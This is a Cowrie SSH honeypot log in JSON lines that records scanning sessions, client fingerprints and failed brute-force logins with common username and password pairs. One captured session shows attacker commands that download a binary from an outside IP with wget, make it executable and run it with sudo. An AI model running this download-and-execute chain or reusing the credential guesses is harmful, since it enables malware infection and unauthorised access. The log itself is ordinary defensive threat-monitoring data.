{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa","size":59,"shasum":"cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/cef42dd41a9bb1f66362304a8ae29eb76bdbdc7c5c212c6e4afb77cb4f2a74fa after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:22.996817Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:23.283270Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:23.512299Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"wget -nc http://45.87.174.8/k.php?a=x86_64,MIZ14721I1Z7I366H -O ./upnpsetup","message":"CMD: wget -nc http://45.87.174.8/k.php?a=x86_64,MIZ14721I1Z7I366H -O ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:23.515802Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/388b799cb25617263873074ffa9e01131c1ce480c3b93f47d678248fdcd88eae","size":98,"shasum":"388b799cb25617263873074ffa9e01131c1ce480c3b93f47d678248fdcd88eae","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/388b799cb25617263873074ffa9e01131c1ce480c3b93f47d678248fdcd88eae after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:24.017418Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:24.295996Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:24.526717Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod 777 ./upnpsetup","message":"CMD: chmod 777 ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:24.530732Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed","size":62,"shasum":"48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/48c1b693330ad718534aca127720c0ff87848244e7fdcb9ab46712a579ea13ed after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:25.033203Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:25.317526Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:25.548684Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo ./upnpsetup","message":"CMD: sudo ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:25.552532Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15","size":631,"shasum":"c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c97583710ce600cd6a8d995612bf1593ccf0f85ab78ae8b01714ec48350a8d15 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:26.054562Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":60902,"dst_ip":"159.203.135.109","dst_port":22,"session":"4223346407b6","protocol":"ssh","message":"New connection: 34.39.58.191:60902 (159.203.135.109:22) [session: 4223346407b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:45.109321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:45.114021Z","src_ip":"34.39.58.191","session":"4223346407b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:45.188694Z","src_ip":"34.39.58.191","session":"4223346407b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin1234","message":"login attempt [user/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:45.521104Z","src_ip":"34.39.58.191","session":"4223346407b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:46.599336Z","src_ip":"34.39.58.191","session":"4223346407b6","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":24,"message":"Terminal Size: 80 24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.066366Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.297813Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"./upnpsetup","message":"CMD: ./upnpsetup","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.302815Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"./upnpsetup ","message":"Command not found: ./upnpsetup ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.306880Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c","size":38,"shasum":"3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3b8ae1b78629fd197b937ff4681554b51e2ec967f2d54c8136edcaec088ecf0c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.543679Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"43.7","message":"Connection lost after 43.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.548345Z","src_ip":"203.115.100.24","session":"c831ec1fb46c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59266,"dst_ip":"159.203.135.109","dst_port":22,"session":"7261df9f3b66","protocol":"ssh","message":"New connection: 159.203.92.129:59266 (159.203.135.109:22) [session: 7261df9f3b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.709097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.713461Z","src_ip":"159.203.92.129","session":"7261df9f3b66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.718860Z","src_ip":"159.203.92.129","session":"7261df9f3b66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abourehab","password":"123","message":"login attempt [abourehab/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:57.734351Z","src_ip":"159.203.92.129","session":"7261df9f3b66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:18:58.741535Z","src_ip":"159.203.92.129","session":"7261df9f3b66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":55656,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bd70d53edfe","protocol":"ssh","message":"New connection: 2.57.122.238:55656 (159.203.135.109:22) [session: 2bd70d53edfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:00.992910Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":50004,"dst_ip":"159.203.135.109","dst_port":22,"session":"6dd0054ac3c0","protocol":"ssh","message":"New connection: 43.160.206.186:50004 (159.203.135.109:22) [session: 6dd0054ac3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:00.998248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:01.005355Z","src_ip":"43.160.206.186","session":"6dd0054ac3c0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:01.010381Z","src_ip":"2.57.122.238","session":"2bd70d53edfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:01.101413Z","src_ip":"2.57.122.238","session":"2bd70d53edfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:01.244036Z","src_ip":"43.160.206.186","session":"6dd0054ac3c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:01.501609Z","src_ip":"2.57.122.238","session":"2bd70d53edfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123-qwe","message":"login attempt [root/123-qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:02.233825Z","src_ip":"43.160.206.186","session":"6dd0054ac3c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:02.605246Z","src_ip":"2.57.122.238","session":"2bd70d53edfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:03.484435Z","src_ip":"43.160.206.186","session":"6dd0054ac3c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":34476,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b90145cb9cd","protocol":"ssh","message":"New connection: 34.39.58.191:34476 (159.203.135.109:22) [session: 5b90145cb9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:39.594009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:39.598150Z","src_ip":"34.39.58.191","session":"5b90145cb9cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:39.671895Z","src_ip":"34.39.58.191","session":"5b90145cb9cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N@xtech!234","message":"login attempt [root/N@xtech!234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:39.996809Z","src_ip":"34.39.58.191","session":"5b90145cb9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:41.073505Z","src_ip":"34.39.58.191","session":"5b90145cb9cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57052,"dst_ip":"159.203.135.109","dst_port":22,"session":"dec06425068c","protocol":"ssh","message":"New connection: 159.203.92.129:57052 (159.203.135.109:22) [session: dec06425068c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:43.045450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:43.049747Z","src_ip":"159.203.92.129","session":"dec06425068c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:19:43.054416Z","src_ip":"159.203.92.129","session":"dec06425068c","protocol":"ssh"}
